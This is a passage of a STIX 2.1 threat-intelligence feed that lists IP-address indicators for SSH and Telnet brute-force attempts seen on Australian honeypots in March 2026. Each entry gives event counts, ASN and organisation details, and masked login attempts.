      "pattern": "[ipv4-addr:value = '200.91.236.125']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T11:15:07.000Z",
      "valid_until": "2026-04-09T11:15:05.000Z"
    },
    {
      "created": "2026-03-08T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 131423. Organisation(s): Branch of Long Van System Solution JSC - Hanoi. Usernames observed (masked): ***, s******t. Passwords observed (masked): B*****!, S*********3.",
      "id": "indicator--1f9847f9-6afd-414f-b5ce-64a54557f4fb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.2.225.33']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T12:15:13.000Z",
      "valid_until": "2026-04-09T12:15:11.000Z"
    },
    {
      "created": "2026-03-08T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 138. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, a***n. Passwords observed (masked): 1****6, p******d, 1****1, 1****3, 1**4.",
      "id": "indicator--6ab67add-ef3e-438a-8c87-3fbba9ecb8c4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '170.64.214.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T12:15:13.000Z",
      "valid_until": "2026-04-09T12:15:11.000Z"
    },
    {
      "created": "2026-03-08T12:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--bd1b59c0-f875-4c24-878a-30b54e4b8467",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '219.157.183.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T12:15:13.000Z",
      "valid_until": "2026-04-09T12:15:11.000Z"
    },
    {
      "created": "2026-03-08T12:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--27cf094c-4c64-43a0-bfdf-ae1b184d3968",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '222.112.46.78']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T12:15:13.000Z",
      "valid_until": "2026-04-09T12:15:11.000Z"
    },
    {
      "created": "2026-03-08T12:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 137872. Organisation(s): China Mobile Hong Kong Company Limited.",
      "id": "indicator--61282712-5778-4a0a-9359-0cdcb7514133",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '223.122.229.183']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T12:15:13.000Z",
      "valid_until": "2026-04-09T12:15:11.000Z"
    },
    {
      "created": "2026-03-08T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): o******h, u****u, u***y. Passwords observed (masked): 1****6, A******3, o**********s.",
      "id": "indicator--2e8cac7b-aa22-4fc3-bf16-cc35415ea535",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.40.57.41']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T12:15:13.000Z",
      "valid_until": "2026-04-09T12:15:11.000Z"
    },
    {
      "created": "2026-03-08T12:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC. Usernames observed (masked): A*******************p, G************1, U*************************************************************************************************************************6. Passwords observed (masked): , A**********, H**********************3.",
      "id": "indicator--46a26322-ea99-43f9-ae21-3cbae08e990a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.122']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T12:15:13.000Z",
      "valid_until": "2026-04-09T12:15:11.000Z"
    },
    {
      "created": "2026-03-08T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: GB. ASN(s): 205759. Organisation(s): Ghosty Networks LLC.",
      "id": "indicator--aeb855c4-eb4f-4202-a0fb-d47e7a2d0d39",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.89.161.53']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T12:15:13.000Z",
      "valid_until": "2026-04-09T12:15:11.000Z"
    },
    {
      "created": "2026-03-08T12:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): z********n.",
      "id": "indicator--9e5eda51-add7-48ac-bbad-8aabba2f63bb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '8.219.40.251']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T12:15:13.000Z",
      "valid_until": "2026-04-09T12:15:11.000Z"
    },
    {
      "created": "2026-03-08T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 202. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 49581. Organisation(s): Tube-Hosting. Usernames observed (masked): 3**********4, *, e***n, r**t, h***y. Passwords observed (masked): 1******8, 3***********4, 3**********4, 1****3, 1**4.",
      "id": "indicator--00952412-3244-4433-b2f6-60aae2bb4b2e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '83.243.86.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T12:15:13.000Z",
      "valid_until": "2026-04-09T12:15:11.000Z"
    },
    {
      "created": "2026-03-08T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: RU. ASN(s): 48282. Organisation(s): Hosting technology LTD.",
      "id": "indicator--b92bebf0-31d2-4af8-bde6-7d3df76185af",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.142.73.103']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T12:15:13.000Z",
      "valid_until": "2026-04-09T12:15:11.000Z"
    },
    {
      "created": "2026-03-08T13:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 202. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): 3**********4, ***, p****o, r**t, **. Passwords observed (masked): 3***********4, 3**********4, !******x, 1**4, 1****6.",
      "id": "indicator--72f7b6b6-90b7-4174-983a-ac7e119c74c4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T13:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.36.124.127']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T13:15:13.000Z",
      "valid_until": "2026-04-09T13:15:12.000Z"
    },
    {
      "created": "2026-03-08T13:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 202. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AO. ASN(s): 37468. Organisation(s): ANGOLA-CABLES. Usernames observed (masked): r**t, 3**********4, e****d, s******s, s***a. Passwords observed (masked): 3***********4, 3**********4, 1******., A*******#, T*******!.",
      "id": "indicator--e894116a-9e90-4a75-9528-92e295db27ca",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T13:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '102.219.126.32']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T13:15:13.000Z",
      "valid_until": "2026-04-09T13:15:12.000Z"
    },
    {
      "created": "2026-03-08T13:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 17488. Organisation(s): Hathway IP Over Cable Internet.",
      "id": "indicator--cf2f22aa-ca09-46df-ae86-a1f0c6f0c5db",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T13:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '115.96.246.147']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T13:15:13.000Z",
      "valid_until": "2026-04-09T13:15:12.000Z"
    },
    {
      "created": "2026-03-08T13:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 95. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): s******n, 3**********4, **, m****y, t******p. Passwords observed (masked): 1**4, 1******8, 3***********4, 3**********4, d****4.",
      "id": "indicator--4a67731f-2329-41cd-8b07-61caefaf0d8a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T13:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '136.119.213.208']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T13:15:13.000Z",
      "valid_until": "2026-04-09T13:15:12.000Z"
    },
    {
      "created": "2026-03-08T13:15:13.000Z",
      "description": "Attacker IP - SSH & Telnet / Observed authentication attempts via ssh, telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie. Target ports: 23, 22. Source country: US. ASN(s): 14956. Organisation(s): RouterHosting LLC. Usernames observed (masked): r**t. Passwords observed (masked): r**t.",
      "id": "indicator--8d93facd-5669-44a3-b33d-a28df3ab296e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T13:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '144.172.98.169']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T13:15:13.000Z",
      "valid_until": "2026-04-09T13:15:12.000Z"
    },
    {
      "created": "2026-03-08T13:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Heralding. Target ports: 5900. Source country: US. ASN(s): 215703. Organisation(s): Freakhosting Ltd. Passwords observed (masked): 1****1, ***, 1**4, 1***5, 1****6.",
      "id": "indicator--89ef099c-9802-4059-ae56-adde1aa34b43",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T13:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '150.241.230.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T13:15:13.000Z",
      "valid_until": "2026-04-09T13:15:12.000Z"
    },
    {
      "created": "2026-03-08T13:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 95. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): t****s, 3**********4, e***n, t******p, w*******s. Passwords observed (masked): 3***********4, 3**********4, T*******3, p******d, t**********!.",
      "id": "indicator--fe9f9cb9-0c71-4c43-8197-1486f37b03e5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T13:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '152.32.129.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T13:15:13.000Z",
      "valid_until": "2026-04-09T13:15:12.000Z"
    },
    {
      "created": "2026-03-08T13:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 273. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH. Usernames observed (masked): 3**********4, ***, p****a, r**t, s******n. Passwords observed (masked): 3***********4, 3**********4, !******x, 1**4, 1****6.",
      "id": "indicator--88ecf258-e9e1-410a-9ef9-1f38155979f4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T13:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '173.212.228.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T13:15:13.000Z",
      "valid_until": "2026-04-09T13:15:12.000Z"
    },
    {
      "created": "2026-03-08T13:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--c7989f95-cf5e-49a1-a8ff-ed4d9d63ffca",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T13:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '182.127.4.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T13:15:13.000Z",
      "valid_until": "2026-04-09T13:15:12.000Z"
    },
    {
      "created": "2026-03-08T13:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 197. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 23563. Organisation(s): SK Broadband Co Ltd. Usernames observed (masked): 3**********4, e****d, r**t, s******s, s***a. Passwords observed (masked): 3***********4, 3**********4, A*******#, T*******!, Z*****!.",
      "id": "indicator--7fc061d1-3deb-4d3d-bcbc-c11797c3feb9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T13:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '27.119.7.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T13:15:13.000Z",
      "valid_until": "2026-04-09T13:15:12.000Z"
    },
    {
      "created": "2026-03-08T13:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: CH. ASN(s): 9009. Organisation(s): M247 Europe SRL. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--fde3b5a3-cb0e-4b9e-8a51-efafa95168c1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T13:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '37.120.213.13']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T13:15:13.000Z",
      "valid_until": "2026-04-09T13:15:12.000Z"
    },
    {
      "created": "2026-03-08T13:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--aa5c1a38-7110-41fa-9ffe-b5cceee4e3c5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T13:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '8.222.212.211']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T13:15:13.000Z",
      "valid_until": "2026-04-09T13:15:12.000Z"
    },
    {
      "created": "2026-03-08T13:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 3226. Organisation(s): OOO NI.",
      "id": "indicator--95dd58f0-283a-4d0a-83c3-882097c9d40c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T13:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '87.250.4.180']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T13:15:13.000Z",
      "valid_until": "2026-04-09T13:15:12.000Z"
    },
    {
      "created": "2026-03-08T13:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 344. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IT. ASN(s): 30722. Organisation(s): Fastweb. Usernames observed (masked): 3**********4, ***, p****o, p****a, r**t. Passwords observed (masked): 3***********4, 3**********4, !******x, 1**4, 1****6.",
      "id": "indicator--242be386-17f4-490c-9f12-e5fcf5a48659",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T13:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '93.71.118.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T13:15:13.000Z",
      "valid_until": "2026-04-09T13:15:12.000Z"
    },
    {
      "created": "2026-03-08T14:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): m***c, r**t, 3**********4, a***a, **. Passwords observed (masked): 1***5, 1******8, 1**4, 3***********4, 3**********4.",
      "id": "indicator--84ba2710-0ca3-4dc5-a689-4cbc1415661c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T14:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.36.127.212']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T14:15:07.000Z",
      "valid_until": "2026-04-09T14:15:05.000Z"
    },
    {
      "created": "2026-03-08T14:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 118. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): a***n, f***k, i******x, k****l, n***s. Passwords observed (masked): 1******8, 1**4, 1***5, 3***********4, k********!.",
      "id": "indicator--7a678d41-a339-45fe-9df4-e70ec1ab5a79",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T14:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '134.199.150.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T14:15:07.000Z",
      "valid_until": "2026-04-09T14:15:05.000Z"
    },
    {
      "created": "2026-03-08T14:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4811. Organisation(s): China Telecom Group.",
      "id": "indicator--aca5fee8-ba09-4585-8b0f-d2e02d916384",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T14:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '14.103.235.143']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T14:15:07.000Z",
      "valid_until": "2026-04-09T14:15:05.000Z"
    },
    {
      "created": "2026-03-08T14:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 118. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IE. ASN(s): 36352. Organisation(s): HostPapa. Usernames observed (masked): r**t, a***a, k***n, m***c, p****l. Passwords observed (masked): 1***5, 1******8, 1**4, 3***********4, D******6.",
      "id": "indicator--5c1f0cbe-5fc9-48b6-bcba-69a95178b98c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T14:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '198.55.102.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T14:15:07.000Z",
      "valid_until": "2026-04-09T14:15:05.000Z"
    },
    {
      "created": "2026-03-08T14:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PA. ASN(s): 18809. Organisation(s): Cable Onda.",
      "id": "indicator--26c487a0-7ac6-41fe-adb0-b1b1bad8c3e1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T14:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '200.46.216.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T14:15:07.000Z",
      "valid_until": "2026-04-09T14:15:05.000Z"
    },
    {
      "created": "2026-03-08T14:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 5065. Organisation(s): Bunny Communications. Usernames observed (masked): r**t, ***, 3**********4, *, ***. Passwords observed (masked): p******d, 1****1, 1***5, 1****6, 1******A.",
      "id": "indicator--fbc7d825-0aa1-493b-8cba-9d19f2037e55",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T14:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '66.253.43.127']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T14:15:07.000Z",
      "valid_until": "2026-04-09T14:15:05.000Z"
    },
    {
      "created": "2026-03-08T14:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RU. ASN(s): 8359. Organisation(s): MTS PJSC. Usernames observed (masked): r**t, o**o, 3**********4, f***e, m***a. Passwords observed (masked): 1**4, 1****6, 1******r, 3***********4, 3**********4.",
      "id": "indicator--3005d7b5-0a97-4d72-9416-bab8f95504f0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T14:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '81.23.173.32']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T14:15:07.000Z",
      "valid_until": "2026-04-09T14:15:05.000Z"
    },
    {
      "created": "2026-03-08T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 20. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 9465. Organisation(s): AGOTOZ PTE. LTD.. Usernames observed (masked): A**********, G************1. Passwords observed (masked): , H**********************3.",
      "id": "indicator--a66a1daf-8c91-4512-a98a-cbd356ceba69",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.142.154.115']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T15:15:10.000Z",
      "valid_until": "2026-04-09T15:15:08.000Z"
    },
    {
      "created": "2026-03-08T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 17. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 8359. Organisation(s): MTS PJSC.",
